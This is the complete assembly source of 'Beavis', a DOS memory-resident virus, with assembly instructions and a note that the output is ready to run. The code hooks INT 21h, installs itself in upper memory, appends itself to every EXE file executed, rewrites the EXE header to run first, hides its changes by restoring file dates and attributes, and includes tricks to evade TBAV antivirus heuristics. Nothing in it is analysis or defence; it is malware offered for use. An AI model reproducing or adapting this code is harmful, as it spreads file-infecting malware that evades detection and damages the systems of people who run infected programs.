;****************************************************************************
;*                                  Beavis                                  *
;*                             by  Muja Dib                                 *
;****************************************************************************
 
;Beavis is a memory resident infector of EXE files that infects files as
;they are executed.  It only loads itself resident if a high memory manager
;is present, loading itself into the UMB (above 640k).  It triggers randomly
;at file execution, displaying a random Beavis quote from Beavis and Butthead.
 
;TASM BEAVIS.ASM /M3
;TLINK BEAVIS.OBJ
;EXE2BIN BEAVIS.EXE BEAVIS.COM
;.COM file is ready to run with no modifications.
 
        .model tiny
        .code
 
vtop    equ     $                      ;top of virus code block
 
;Equates --------------------------------------------------------------------
 
vlength equ     vbot-vtop              ;virus length in bytes
heapsiz equ     hbot-heap              ;heap size in bytes
vlres   equ     ((vlength+heapsiz)/16)+1  ;virus length in paragraphs
vlpage  equ     (vlength/512)+1        ;virus length in pages
chkfunc equ     9AD5h                  ;check resident int 21h function
virusid equ     150h                   ;virus ID word in exeheader
 
;----------------------------------------------------------------------------
 
        cld                            ;clear direction flag
 
        db      0BDh                   ;mov bp,
delta   dw      100h                   ;delta offset
 
        lea sp,[bp+(offset(sspace)+30)] ;set up new stack
 
        push ds
        push es                        ;save original EXE segments
 
        mov ax,chkfunc
        xor cx,cx
        mov ds,cx
        pushf                          ;This calls INT 21h while eliminating
        call dword ptr ds:[21h*4]      ;TBAV's undocumented DOS call flag.
 
        push cs
        pop ds
 
        cmp ax,chkfunc-1               ;did virus return reply?
        jne install                    ;if not, install resident
        
        jmp return                     ;if so, return to original program
 
install:
        mov ax,3521h                   ;get int 21h vector
        int 21h
 
        mov [bp+offset(i21veco)],bx
        mov [bp+offset(i21vecs)],es
 
        mov ax,4300h                   ;get himem.sys installed state
        int 2Fh                        ;multiplex interrupt
 
        cmp al,80h                     ;80h in al means himem.sys is loaded
        jne return                     ;Return if no High-Memory manager
 
        mov ax,4310h                   ;get himem.sys entry point adress
        int 2Fh
 
        mov [bp+offset(himem_s)],es
        mov [bp+offset(himem_o)],bx    ;himem.sys entry point
 
        mov ah,10h                     ;allocate UMB (function 10h)
        mov dx,vlres                   ;paragraphs to request
 
        call dword ptr [bp+offset(himem_o)] ;call himem.sys
        mov es,bx                      ;BX will contain segment of memory
 
        mov si,bp                      ;bp=start of virus code
        mov cx,(vlength+(heapsiz+1))/2 ;virus length in words+heap data
        xor di,di
 
        rep movsw                      ;copy virus code up there
 
        push es
        pop ds
 
        mov dx,offset(i21vec)          ;new int 21h vector
        mov ax,2521h                   ;set int 21h vector
        int 21h
 
return: mov ah,51h                     ;Get PSP adress
        int 21h
 
        add bx,16                      ;Compensate for PSP size
 
        pop es
        pop ds                         ;Restore original ES and DS from EXE
        
        cli                            ;Clear interrupts for stack change
 
        mov sp,cs:[bp+offset(old_sp)]
        mov ax,cs:[bp+offset(old_ss)]
        add ax,bx                      ;Find segment for SS
        mov ss,ax                      ;Reset original EXE stack
        
        sti
 
        add cs:[bp+offset(old_cs)],bx  ;Find segment for CS
 
        jmp dword ptr cs:[bp+offset(old_ip)] ;Far jump to original EXE code
 
;----------------------------------------------------------------------------
 
move_pointer_end:
        xor cx,cx
        xor dx,dx                      ;move pointer 0 bytes
        
        mov ax,4202h                   ;move pointer to end of file
        int 21h
        ret
 
;Data -----------------------------------------------------------------------
 
talk1   db      'FIRE FIRE FIRE!$'
talk2   db      'Hey butthead this sucks change the channel!$'
talk3   db      'Shut up butthead or I''ll kick your ass!$'
talk4   db      'We''re there dude.$'
talk5   db      'The Beavis virus kicks ass!$'
 
old_sp  dw      0
old_ss  dw      0FFF0h                 ;Old SS:SP
old_ip  dw      0
old_cs  dw      0FFF0h                 ;Old CS:IP
 
;----------------------------------------------------------------------------
 
i21vec: nop
 
        xchg ax,cx                     ;get rid of TBAV's execution intercept
                                       ;heuristic flag.
 
        cmp cx,4B00h                   ;load and execute program?
        je vtrigger
 
        cmp cx,4B01h                   ;load program?
        je vtrigger
        
        xchg ax,cx
 
        cmp ax,chkfunc                 ;check if virus is resident?
        je return_reply
 
        jmp dword ptr cs:i21veco
return_reply:
        dec ax                         ;decrement AX
        iret                           ;return from interrupt
vtrigger:
        xchg ax,cx
 
        push ax si bx cx di es ds dx   ;save all used registers
 
        mov ax,4300h                   ;get file attributes
        int 21h
 
        jc exitvec                     ;exit if filename invalid
 
        mov cs:oldattr,cx              ;save old file attributes
 
        xor cx,cx                      ;set attributes to normal
        mov ax,4301h                   ;set file attributes
        int 21h
 
        mov ax,3D02h                   ;open file for read/write access
        int 21h
 
        jc exitvec                     ;exit if open permission denied
 
        mov bx,ax                      ;file handle
        push cs
        pop ds
 
        mov ax,5700h                   ;get file date and time
        int 21h
 
        mov olddate,dx
        mov oldtime,cx                 ;save old file date and time
 
        mov cx,28                      ;28 bytes to read
        mov dx,offset(readbuffer)      ;buffer to recieve data
 
        mov ah,3Fh                     ;read file or device
        int 21h
 
        cmp ax,28
        jb closeexit                   ;close and exit if file too small
 
        cmp init_sp,virusid            ;is file alredy infected?
        je closeexit
 
        mov ax,idword
        xor ax,0ABCDh                  ;kill TBAV's check exe/com flag
        cmp ax,0E697h
        je infect_exe
        cmp ax,0F180h
        je infect_exe                  ;if MZ or ZM, go ahead and infect
 
        jmp short closeexit            ;if not, don't infect
 
exitvec:
        pop dx ds es di cx bx si ax    ;restore all used registers
 
        jmp dword ptr cs:i21veco       ;execute rest of interrupt chain
closeexit:
        mov cx,oldtime
        mov dx,olddate                 ;restore old time and date
 
        mov ax,5701h                   ;set file date and time
        int 21h
 
        mov ah,3Eh                     ;close file with handle
        int 21h
 
        mov cx,cs:oldattr              ;old file attributes
        pop dx ds
        push ds dx                     ;get old filename off stack
 
        mov ax,4301h                   ;set file attributes
        int 21h
 
        mov ah,2Ch                     ;get time
        int 21h
 
        cmp cl,dh                      ;do seconds and minutes line up?
        jne exitvec                    ;if not, no trigger
 
        push cs
        pop ds
 
        inc dl
        mov al,dl
        xor ah,ah
        mov bl,20
        div bl                         ;convert to random number 0-5
 
        cmp al,0
        je _talk1
        cmp al,1
        je _talk2
        cmp al,2
        je _talk3
        cmp al,3
        je _talk4
        cmp al,4
        je _talk5                      ;select message
 
_talk1: mov dx,offset(talk1)
        jmp short _talk
_talk2: mov dx,offset(talk2)
        jmp short _talk
_talk3: mov dx,offset(talk3)
        jmp short _talk
_talk4: mov dx,offset(talk4)
        jmp short _talk
_talk5: mov dx,offset(talk5)
 
_talk:  mov ah,9                       ;print string
        int 21h
 
        jmp short exitvec              ;exit
 
infect_exe:
        les si,dword ptr ds:init_ss    ;get initial SS:SP (reversed)
        mov old_ss,si
        mov old_sp,es
        
        les si,dword ptr ds:init_ip    ;get initial CS:IP
        mov old_cs,es
        mov old_ip,si
        
        call move_pointer_end          ;move file pointer to end of file
 
        mov cx,10h
        div cx                         ;convert to paragraphs
 
        push ax
        sub ax,hsize                   ;subtract header size in paragraphs
 
        pop cx
        cmp ax,cx
        ja _closeexit                  ;If file too small, end infection
 
        mov init_cs,ax
        mov init_ip,dx                 ;set initial CS:IP in exe header
        mov delta,dx                   ;set delta offset in virus
 
        mov init_sp,virusid
        mov init_ss,ax                 ;set initial SS:SP in exe header
        
        add word ptr ds:minmem,vlres   ;add virus length to minimum memory
 
        mov cx,vlength                 ;number of bytes in virus
        xor dx,dx
 
        mov ah,40h                     ;write file or device
        int 21h
 
        call move_pointer_end          ;move file pointer to end of file
        
        mov cx,512
        div cx                         ;change bytes in new file to pages
        cmp dx,0                       ;no remainder?
        je go_ahead_set
        
        inc ax                         ;if remainder, add another page
 
go_ahead_set:
        mov word ptr pages,ax
        mov word ptr lastpg,dx         ;set EXE file size
 
        xor dx,dx
        xor cx,cx
 
        mov ax,4200h                   ;move file pointer to beginning of file
        int 21h
 
        mov cx,28                      ;28 bytes in header
        mov dx,offset(readbuffer)
 
        mov ah,40h                     ;write file or device
        int 21h
 
_closeexit:
        jmp closeexit                  ;close and exit
 
;----------------------------------------------------------------------------
 
copr    db      '[BEAVIS] by Crypt Keeper'
 
;----------------------------------------------------------------------------
 
vbot    equ     $                      ;bottom of virus code
heap    equ     $                      ;Beginning of heap
 
readbuffer:
idword  dw      0                      ;ID word
lastpg  dw      0                      ;Number of bytes in last page
pages   dw      0                      ;Total pages
segent  dw      0                      ;number of entries in segment table
hsize   dw      0                      ;header size in paragraphs
minmem  dw      0                      ;minimum memory to request
maxmem  dw      0                      ;maximum memory to request
init_ss dw      0                      ;initial SS value
init_sp dw      0                      ;initial SP value
negchk  dw      0                      ;negative checksum
init_ip dw      0                      ;initial IP value
init_cs dw      0                      ;initial CS value
reltab  dw      0                      ;offset of relocation table from header
ovnum   dw      0                      ;overlay number
 
himem_o dw      0
himem_s dw      0                      ;himem.sys entry point adress
 
i21veco dw      0
i21vecs dw      0                      ;int 21h vector
 
oldattr dw      0                      ;old file attributes
 
oldtime dw      0
olddate dw      0                      ;old saved time and date
 
hbot    equ     $                      ;bottom of heap
 
sspace  db      32 dup (0)             ;virus stack space
                                       ;not used when resident so not
                                       ;included in heap space
 
        end

